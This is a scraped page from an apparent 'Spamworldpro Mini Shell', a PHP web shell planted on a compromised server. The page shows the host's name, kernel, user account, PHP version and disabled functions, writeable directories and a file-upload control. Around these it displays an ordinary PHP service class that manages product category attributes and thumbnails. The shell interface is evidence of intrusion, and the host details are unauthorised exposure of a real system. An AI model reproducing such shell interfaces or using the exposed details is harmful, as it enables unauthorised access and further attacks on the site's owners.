Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/modules/Utility/Services/Category/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/modules/Utility/Services/Category/AttributeService.php
<?php

namespace Corals\Modules\Utility\Services\Category;

use Corals\Foundation\Services\BaseServiceClass;
use Corals\Modules\Utility\Models\Category\AttributeOption;

class AttributeService extends BaseServiceClass
{
    protected $excludedRequestParams = ['thumbnail', 'clear', 'options'];

    public function postStoreUpdate($request, $additionalData = [])
    {
        $attribute = $this->model;

        $options = $request->get('options', []);

        $attribute_options = array_flip($attribute->options()->pluck('id')->toArray());

        foreach ($options as $option) {
            $option_id = $option['id'] ?? null;
            unset($attribute_options[$option_id]);
            AttributeOption::query()->updateOrCreate(['id' => $option_id, 'attribute_id' => $attribute->id], $option);
        }

        if (!empty($attribute_options)) {
            $attribute->options()->whereIn('id', array_keys($attribute_options))->forceDelete();
        }

        if ($request->has('clear') || $request->hasFile('thumbnail')) {
            $attribute->clearMediaCollection($attribute->mediaCollectionName);
        }

        if ($request->hasFile('thumbnail') && !$request->has('clear')) {
            $attribute->addMedia($request->file('thumbnail'))
                ->withCustomProperties(['root' => 'user_' . user()->hashed_id])
                ->toMediaCollection($attribute->mediaCollectionName);
        }
    }
}

Spamworldpro Mini